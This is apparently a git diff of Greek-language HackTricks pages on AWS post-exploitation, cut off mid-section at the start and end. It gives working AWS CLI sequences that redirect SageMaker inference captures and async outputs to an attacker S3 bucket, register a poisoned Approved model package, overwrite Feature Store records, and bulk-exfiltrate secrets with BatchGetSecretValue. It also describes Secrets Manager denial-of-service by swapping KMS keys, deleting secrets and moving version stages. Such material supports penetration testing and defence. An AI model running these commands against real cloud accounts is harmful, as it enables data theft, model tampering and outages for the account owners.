--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Επαληθεύστε τις καταγραφές στο S3 του attacker
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Επιπτώσεις
|
||||
- Πλήρης exfiltration των real‑time inference request και response payloads (και metadata) από το στοχευμένο endpoint σε έναν S3 bucket ελεγχόμενο από τον επιτιθέμενο.
|
||||
- Χωρίς αλλαγές στην εικόνα model/container και μόνο αλλαγές σε επίπεδο endpoint, επιτρέποντας μια διακριτική διαδρομή κλοπής δεδομένων με ελάχιστη λειτουργική διαταραχή.
|
||||
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Κακοποίηση της διαχείρισης endpoint για την ανακατεύθυνση των asynchronous inference outputs σε έναν S3 bucket ελεγχόμενο από τον επιτιθέμενο, κλωνοποιώντας την τρέχουσα EndpointConfig και ρυθμίζοντας το AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Αυτό exfiltrates τις προβλέψεις του model (και οποιεσδήποτε μετασχηματισμένες εισόδους που περιλαμβάνονται από το container) χωρίς να τροποποιείται το model/container.
|
||||
|
||||
### Απαιτήσεις
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Δυνατότητα εγγραφής στον attacker S3 bucket (μέσω του model execution role ή μιας permissive bucket policy)
|
||||
- Στόχος: Ένα InService endpoint όπου asynchronous invocations χρησιμοποιούνται (ή θα χρησιμοποιηθούν)
|
||||
|
||||
### Βήματα
|
||||
1) Συλλέξτε τα τρέχοντα ProductionVariants από το στοχευόμενο endpoint
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Δημιουργήστε έναν attacker bucket (βεβαιωθείτε ότι το model execution role μπορεί να κάνει PutObject σε αυτόν)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) Κλωνοποίηση του EndpointConfig και hijack των αποτελεσμάτων του AsyncInference στο attacker bucket
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Προκαλέστε μια async invocation και επαληθεύστε ότι τα αντικείμενα καταλήγουν στο S3 του επιτιθέμενου
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
sleep 30
|
||||
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Επίπτωση
|
||||
- Ανακατευθύνει τα αποτελέσματα ασύγχρονης inference (και τα σώματα σφαλμάτων) σε S3 που ελέγχεται από τον επιτιθέμενο, επιτρέποντας covert exfiltration των predictions και ενδεχομένως ευαίσθητων προ-/μετα-επεξεργασμένων εισόδων που παράγονται από το container, χωρίς αλλαγή του model code ή του image και με ελάχιστο/καθόλου downtime.
|
||||
|
||||
|
||||
## SageMaker Model Registry supply-chain injection μέσω CreateModelPackage(Approved)
|
||||
|
||||
Εάν ένας επιτιθέμενος μπορεί να εκτελέσει CreateModelPackage σε ένα στοχευμένο SageMaker Model Package Group, μπορεί να καταχωρήσει μια νέα έκδοση μοντέλου που δείχνει σε attacker-controlled container image και να τη σημάνει αμέσως ως Approved. Πολλά CI/CD pipelines αναπτύσσουν αυτόματα Approved model versions σε endpoints ή training jobs, με αποτέλεσμα εκτέλεση κώδικα του επιτιθέμενου υπό τα execution roles της υπηρεσίας. Η έκθεση μεταξύ λογαριασμών μπορεί να ενισχυθεί από μια permissive ModelPackageGroup resource policy.
|
||||
|
||||
### Requirements
|
||||
- IAM (ελάχιστα δικαιώματα για να μολυνθεί μια υπάρχουσα group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
|
||||
- Optional (για να δημιουργηθεί μια group εάν δεν υπάρχει): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts)
|
||||
- Target: A Model Package Group that downstream automation watches for Approved versions
|
||||
|
||||
### Steps
|
||||
1) Set region and create/find a target Model Package Group
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) Προετοιμάστε ψεύτικα δεδομένα μοντέλου στο S3
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Εγγραφή ενός malicious (here benign) Approved model package version που αναφέρεται σε δημόσια AWS DLC image
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
{
|
||||
"Containers": [
|
||||
{
|
||||
"Image": "$IMG",
|
||||
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
|
||||
}
|
||||
],
|
||||
"SupportedContentTypes": ["text/csv"],
|
||||
"SupportedResponseMIMETypes": ["text/csv"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) Επιβεβαιώστε ότι η νέα εγκεκριμένη έκδοση υπάρχει
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Επιπτώσεις
|
||||
- Poison the Model Registry με μια Approved έκδοση που αναφέρεται σε κώδικα ελεγχόμενο από τον επιτιθέμενο. Οι Pipelines που αυτοματοποιούν την ανάπτυξη Approved models μπορεί να τραβήξουν και να εκτελέσουν το attacker image, οδηγώντας σε εκτέλεση κώδικα με δικαιώματα endpoint/training roles.
|
||||
- Με μια επιεική πολιτική πόρου ModelPackageGroup (PutModelPackageGroupPolicy), αυτή η κατάχρηση μπορεί να ενεργοποιηθεί cross-account.
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
Κακοποιήστε το `sagemaker:PutRecord` σε ένα Feature Group με ενεργοποιημένο το OnlineStore για να αντικαταστήσετε ζωντανές τιμές features που καταναλώνονται από online inference. Σε συνδυασμό με το `sagemaker:GetRecord`, ο επιτιθέμενος μπορεί να διαβάσει ευαίσθητα features. Αυτό δεν απαιτεί πρόσβαση σε models ή endpoints.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Κακοποιήστε το `sagemaker:PutRecord` σε ένα Feature Group με ενεργοποιημένο OnlineStore για να αντικαταστήσετε ζωντανές τιμές χαρακτηριστικών που καταναλώνονται από online inference. Σε συνδυασμό με το `sagemaker:GetRecord`, ένας επιτιθέμενος μπορεί να διαβάσει ευαίσθητα χαρακτηριστικά. Αυτό δεν απαιτεί πρόσβαση σε models ή endpoints.
|
||||
|
||||
## Requirements
|
||||
- Δικαιώματα: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Στόχος: Feature Group με ενεργοποιημένο OnlineStore (συνήθως υποστηρίζει real-time inference)
|
||||
|
||||
## Steps
|
||||
1) Επιλέξτε ή δημιουργήστε ένα μικρό Online Feature Group για δοκιμές
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
if [ -z "$FG" -o "$FG" = "None" ]; then
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
FG=ht-fg-$ACC-$(date +%s)
|
||||
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
|
||||
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
|
||||
echo "Waiting for feature group to be in Created state..."
|
||||
for i in $(seq 1 40); do
|
||||
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
|
||||
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
|
||||
done
|
||||
fi
|
||||
```
|
||||
2) Εισαγωγή/αντικατάσταση μιας online εγγραφής (poison)
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
cat > /tmp/put.json << JSON
|
||||
{
|
||||
"FeatureGroupName": "$FG",
|
||||
"Record": [
|
||||
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
|
||||
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
|
||||
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
|
||||
],
|
||||
"TargetStores": ["OnlineStore"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
|
||||
```
|
||||
3) Διάβασε ξανά την εγγραφή για να επιβεβαιώσεις την τροποποίηση
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
|
||||
```
|
||||
Αναμενόμενο: risk_score επιστρέφει 0.99 (attacker-set), αποδεικνύοντας την ικανότητα αλλαγής των online χαρακτηριστικών που χρησιμοποιούνται από μοντέλα.
|
||||
|
||||
## Impact
|
||||
- Real-time integrity attack: παραποίηση των χαρακτηριστικών που χρησιμοποιούνται από μοντέλα παραγωγής χωρίς να επηρεαστούν τα endpoints/μοντέλα.
|
||||
- Confidentiality risk: ανάγνωση ευαίσθητων χαρακτηριστικών μέσω GetRecord από το OnlineStore.
|
||||
-130
@@ -1,130 +0,0 @@
|
||||
# AWS - Secrets Manager Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Read Secrets
|
||||
|
||||
Τα **secrets καθεαυτά είναι ευαίσθητες πληροφορίες**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) για να μάθετε πώς να τα διαβάσετε.
|
||||
|
||||
### DoS Change Secret Value
|
||||
|
||||
Η αλλαγή της τιμής του secret μπορεί να **DoS όλα τα συστήματα που εξαρτώνται από αυτή την τιμή.**
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι οι προηγούμενες τιμές αποθηκεύονται επίσης, οπότε είναι εύκολο απλά να επιστρέψετε στην προηγούμενη τιμή.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Εάν ο attacker έχει την άδεια secretsmanager:UpdateSecret, μπορεί να διαμορφώσει το secret ώστε να χρησιμοποιεί ένα KMS key που ανήκει στον attacker. Αυτό το key αρχικά έχει ρυθμιστεί με τέτοιο τρόπο ώστε ο οποιοσδήποτε να μπορεί να το προσπελάσει και να το χρησιμοποιήσει, οπότε η ενημέρωση του secret με το νέο key είναι δυνατή. Εάν το key δεν ήταν προσβάσιμο, το secret δεν θα μπορούσε να ενημερωθεί.
|
||||
|
||||
Μετά την αλλαγή του key για το secret, ο attacker τροποποιεί τη διαμόρφωση του key του έτσι ώστε μόνο εκείνος να έχει πρόσβαση. Με αυτόν τον τρόπο, στις επόμενες εκδόσεις του secret θα κρυπτογραφηθεί με το νέο key, και αφού δεν υπάρχει πρόσβαση σε αυτό, η δυνατότητα ανάκτησης του secret θα χαθεί.
|
||||
|
||||
Είναι σημαντικό να σημειωθεί ότι αυτή η μη προσβασιμότητα θα συμβεί μόνο σε μεταγενέστερες εκδόσεις, αφού αλλάξει το περιεχόμενο του secret, καθώς η τρέχουσα έκδοση εξακολουθεί να είναι κρυπτογραφημένη με το αρχικό KMS key.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Διαγραφή μυστικού
|
||||
|
||||
Ο ελάχιστος αριθμός ημερών για να διαγραφεί ένα μυστικό είναι 7
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
Είναι δυνατόν να επαναφέρετε ένα secret, κάτι που επιτρέπει την επαναφορά secrets που έχουν προγραμματιστεί για διαγραφή, καθώς η ελάχιστη περίοδος διαγραφής για secrets είναι 7 ημέρες και η μέγιστη είναι 30 ημέρες. Σε συνδυασμό με την άδεια secretsmanager:GetSecretValue, αυτό καθιστά δυνατή την ανάκτηση του περιεχομένου τους.
|
||||
|
||||
Για να ανακτήσετε ένα secret που βρίσκεται σε διαδικασία διαγραφής, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Αυτή η ενέργεια επιτρέπει τη διαγραφή της πολιτικής πόρου που ελέγχει ποιος μπορεί να αποκτήσει πρόσβαση σε ένα secret. Αυτό μπορεί να οδηγήσει σε DoS εάν η πολιτική πόρου είχε διαμορφωθεί ώστε να επιτρέπει πρόσβαση σε ένα συγκεκριμένο σύνολο χρηστών.
|
||||
|
||||
Για να διαγράψετε την πολιτική πόρου:
|
||||
```bash
|
||||
aws secretsmanager delete-resource-policy \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Οι καταστάσεις ενός μυστικού χρησιμοποιούνται για τη διαχείριση των εκδόσεων ενός μυστικού. AWSCURRENT σηματοδοτεί την ενεργή έκδοση που χρησιμοποιούν οι εφαρμογές, AWSPREVIOUS διατηρεί την προηγούμενη έκδοση ώστε να μπορείτε να κάνετε επαναφορά αν χρειαστεί, και AWSPENDING χρησιμοποιείται στη διαδικασία rotation για να προετοιμάσει και να επικυρώσει μια νέα έκδοση πριν την καταστήσει την τρέχουσα.
|
||||
|
||||
Οι εφαρμογές διαβάζουν πάντα την έκδοση με AWSCURRENT. Αν κάποιος μετακινήσει αυτή την ετικέτα σε λάθος έκδοση, οι εφαρμογές θα χρησιμοποιήσουν άκυρα credentials και μπορεί να αποτύχουν.
|
||||
|
||||
AWSPREVIOUS δεν χρησιμοποιείται αυτόματα. Ωστόσο, αν το AWSCURRENT αφαιρεθεί ή ανατεθεί λανθασμένα, μπορεί να φαίνεται ότι όλα εξακολουθούν να τρέχουν με την προηγούμενη έκδοση.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Μαζική Εξαγωγή Secrets μέσω BatchGetSecretValue (έως 20 ανά κλήση)
|
||||
|
||||
Κατάχρηση του Secrets Manager BatchGetSecretValue API για να ανακτήσεις έως 20 secrets σε ένα αίτημα. Αυτό μπορεί να μειώσει δραματικά τον όγκο κλήσεων API σε σύγκριση με την επανάληψη του GetSecretValue για κάθε secret. Εάν χρησιμοποιούνται φίλτρα (tags/name), απαιτείται επίσης η άδεια ListSecrets. Το CloudTrail εξακολουθεί να καταγράφει ένα event GetSecretValue για κάθε secret που ανακτάται στο batch.
|
||||
|
||||
Απαιτούμενα δικαιώματα
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue για κάθε στοχευμένο secret
|
||||
- secretsmanager:ListSecrets εάν χρησιμοποιείτε --filters
|
||||
- kms:Decrypt στα CMKs που χρησιμοποιούνται από τα secrets (αν δεν χρησιμοποιείται aws/secretsmanager)
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι η άδεια `secretsmanager:BatchGetSecretValue` από μόνη της δεν επαρκεί για την ανάκτηση των secrets — χρειάζεστε επίσης `secretsmanager:GetSecretValue` για κάθε secret που θέλετε να ανακτήσετε.
|
||||
|
||||
Εξαγωγή μέσω ρητής λίστας
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrate με φίλτρα (tag key/value ή name prefix)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-key,Values=env \
|
||||
--max-results 20 \
|
||||
--query 'SecretValues[].{Name:Name,Val:SecretString}'
|
||||
|
||||
# By tag value
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-value,Values=prod \
|
||||
--max-results 20
|
||||
|
||||
# By name prefix
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=name,Values=MyApp
|
||||
```
|
||||
Διαχείριση μερικών αποτυχιών
|
||||
```bash
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Επιπτώσεις
|
||||
- Γρήγορο “smash-and-grab” πολλών secrets με λιγότερες κλήσεις API, πιθανώς παρακάμπτοντας ειδοποιήσεις ρυθμισμένες για αιχμές του GetSecretValue.
|
||||
- Τα CloudTrail logs εξακολουθούν να περιλαμβάνουν ένα GetSecretValue event ανά secret που ανακτήθηκε από το batch.
|
||||
+130
@@ -0,0 +1,130 @@
|
||||
# AWS - Secrets Manager Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Ανάγνωση Secrets
|
||||
|
||||
Τα **secrets καθαυτά είναι ευαίσθητες πληροφορίες**, [ελέγξτε τη σελίδα privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) για να μάθετε πώς να τα διαβάσετε.
|
||||
|
||||
### DoS Change Secret Value
|
||||
|
||||
Αλλάζοντας την τιμή του secret μπορείτε να **DoS όλα τα συστήματα που εξαρτώνται από αυτήν την τιμή.**
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι οι προηγούμενες τιμές αποθηκεύονται επίσης, οπότε είναι εύκολο να επιστρέψετε στην προηγούμενη τιμή.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Εάν ο επιτιθέμενος έχει την άδεια secretsmanager:UpdateSecret, μπορεί να ρυθμίσει το secret ώστε να χρησιμοποιεί ένα KMS key που ανήκει στον ίδιο. Το κλειδί αυτό αρχικά είναι διαμορφωμένο έτσι ώστε ο καθένας να μπορεί να το προσπελάσει και να το χρησιμοποιήσει, οπότε η ενημέρωση του secret με το νέο κλειδί είναι δυνατή. Αν το κλειδί δεν ήταν προσβάσιμο, το secret δεν θα μπορούσε να ενημερωθεί.
|
||||
|
||||
Μετά την αλλαγή του κλειδιού για το secret, ο επιτιθέμενος τροποποιεί τη διαμόρφωση του κλειδιού του ώστε μόνο αυτός να μπορεί να το προσπελάσει. Έτσι, στις επόμενες εκδόσεις του secret, αυτές θα κρυπτογραφούνται με το νέο κλειδί, και αφού δεν υπάρχει πρόσβαση σε αυτό, η δυνατότητα ανάκτησης του secret θα χαθεί.
|
||||
|
||||
Είναι σημαντικό να σημειωθεί ότι αυτή η μη προσβασιμότητα θα συμβεί μόνο στις μεταγενέστερες εκδόσεις, μετά την αλλαγή του περιεχομένου του secret, αφού η τρέχουσα έκδοση εξακολουθεί να είναι κρυπτογραφημένη με το αρχικό KMS key.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Διαγραφή Secret
|
||||
|
||||
Ο ελάχιστος αριθμός ημερών για να διαγραφεί ένα secret είναι 7
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
Είναι δυνατή η επαναφορά ενός μυστικού, κάτι που επιτρέπει την ανάκτηση μυστικών που έχουν προγραμματιστεί για διαγραφή, καθώς η ελάχιστη περίοδος διαγραφής για μυστικά είναι 7 ημέρες και η μέγιστη 30 ημέρες. Σε συνδυασμό με το δικαίωμα secretsmanager:GetSecretValue, αυτό καθιστά δυνατή την ανάκτηση του περιεχομένου τους.
|
||||
|
||||
Για να ανακτήσετε ένα μυστικό που βρίσκεται σε διαδικασία διαγραφής, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Αυτή η ενέργεια επιτρέπει τη διαγραφή της resource policy που ελέγχει ποιος μπορεί να έχει πρόσβαση σε ένα secret. Αυτό μπορεί να οδηγήσει σε DoS αν η resource policy είχε ρυθμιστεί ώστε να επιτρέπει πρόσβαση σε ένα συγκεκριμένο σύνολο χρηστών.
|
||||
|
||||
Για να διαγράψετε τη resource policy:
|
||||
```bash
|
||||
aws secretsmanager delete-resource-policy \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Οι καταστάσεις ενός μυστικού χρησιμοποιούνται για τη διαχείριση των εκδόσεων ενός μυστικού. Το AWSCURRENT σηματοδοτεί την ενεργή έκδοση που χρησιμοποιούν οι εφαρμογές, το AWSPREVIOUS διατηρεί την προηγούμενη έκδοση ώστε να μπορείτε να επαναφέρετε αν χρειαστεί, και το AWSPENDING χρησιμοποιείται στη διαδικασία περιστροφής για να προετοιμάσει και να επικυρώσει μια νέα έκδοση πριν την ορίσει ως τρέχουσα.
|
||||
|
||||
Οι εφαρμογές διαβάζουν πάντα την έκδοση με AWSCURRENT. Εάν κάποιος μετακινήσει αυτή την ετικέτα στη λάθος έκδοση, οι εφαρμογές θα χρησιμοποιήσουν άκυρα credentials και μπορεί να αποτύχουν.
|
||||
|
||||
Το AWSPREVIOUS δεν χρησιμοποιείται αυτόματα. Ωστόσο, αν το AWSCURRENT αφαιρεθεί ή ανατεθεί λανθασμένα, μπορεί να φαίνεται ότι όλα εξακολουθούν να λειτουργούν με την προηγούμενη έκδοση.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
|
||||
|
||||
Καταχραστείτε το Secrets Manager BatchGetSecretValue API για να ανακτήσετε έως και 20 μυστικά σε ένα αίτημα. Αυτό μπορεί να μειώσει δραστικά τον όγκο κλήσεων API σε σύγκριση με την εκτέλεση GetSecretValue για κάθε μυστικό. Αν χρησιμοποιούνται φίλτρα (tags/name), απαιτείται επίσης η άδεια ListSecrets. Το CloudTrail εξακολουθεί να καταγράφει ένα γεγονός GetSecretValue για κάθε μυστικό που ανακτάται σε παρτίδα.
|
||||
|
||||
Απαιτούμενα δικαιώματα
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue για κάθε στοχευμένο μυστικό
|
||||
- secretsmanager:ListSecrets αν χρησιμοποιείτε --filters
|
||||
- kms:Decrypt στα CMKs που χρησιμοποιούνται από τα μυστικά (αν δεν χρησιμοποιείτε aws/secretsmanager)
|
||||
|
||||
> [!WARNING]
|
||||
> Λάβετε υπόψη ότι η άδεια `secretsmanager:BatchGetSecretValue` από μόνη της δεν αρκεί για την ανάκτηση μυστικών — χρειάζεστε επίσης την `secretsmanager:GetSecretValue` για κάθε μυστικό που θέλετε να ανακτήσετε.
|
||||
|
||||
Exfiltrate by explicit list
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrate με φίλτρα (tag key/value or name prefix)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-key,Values=env \
|
||||
--max-results 20 \
|
||||
--query 'SecretValues[].{Name:Name,Val:SecretString}'
|
||||
|
||||
# By tag value
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-value,Values=prod \
|
||||
--max-results 20
|
||||
|
||||
# By name prefix
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=name,Values=MyApp
|
||||
```
|
||||
Διαχείριση μερικών αποτυχιών
|
||||
```bash
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Επιπτώσεις
|
||||
- Γρήγορη “smash-and-grab” πολλών secrets με λιγότερες API κλήσεις, ενδεχομένως παρακάμπτοντας ειδοποιήσεις ρυθμισμένες για αιχμές του GetSecretValue.
|
||||
- Τα CloudTrail logs εξακολουθούν να περιλαμβάνουν ένα GetSecretValue event ανά secret που ανακτάται από την παρτίδα.
|
||||
@@ -1,69 +0,0 @@
|
||||
# AWS - SES Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SES
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ses-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `ses:SendEmail`
|
||||
|
||||
Στείλτε ένα email.
|
||||
```bash
|
||||
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
```
|
||||
Ακόμα προς δοκιμή.
|
||||
|
||||
### `ses:SendRawEmail`
|
||||
|
||||
Στείλτε ένα email.
|
||||
```bash
|
||||
aws ses send-raw-email --raw-message file://message.json
|
||||
```
|
||||
Ακόμα προς δοκιμή.
|
||||
|
||||
### `ses:SendTemplatedEmail`
|
||||
|
||||
Στείλτε ένα email βασισμένο σε ένα πρότυπο.
|
||||
```bash
|
||||
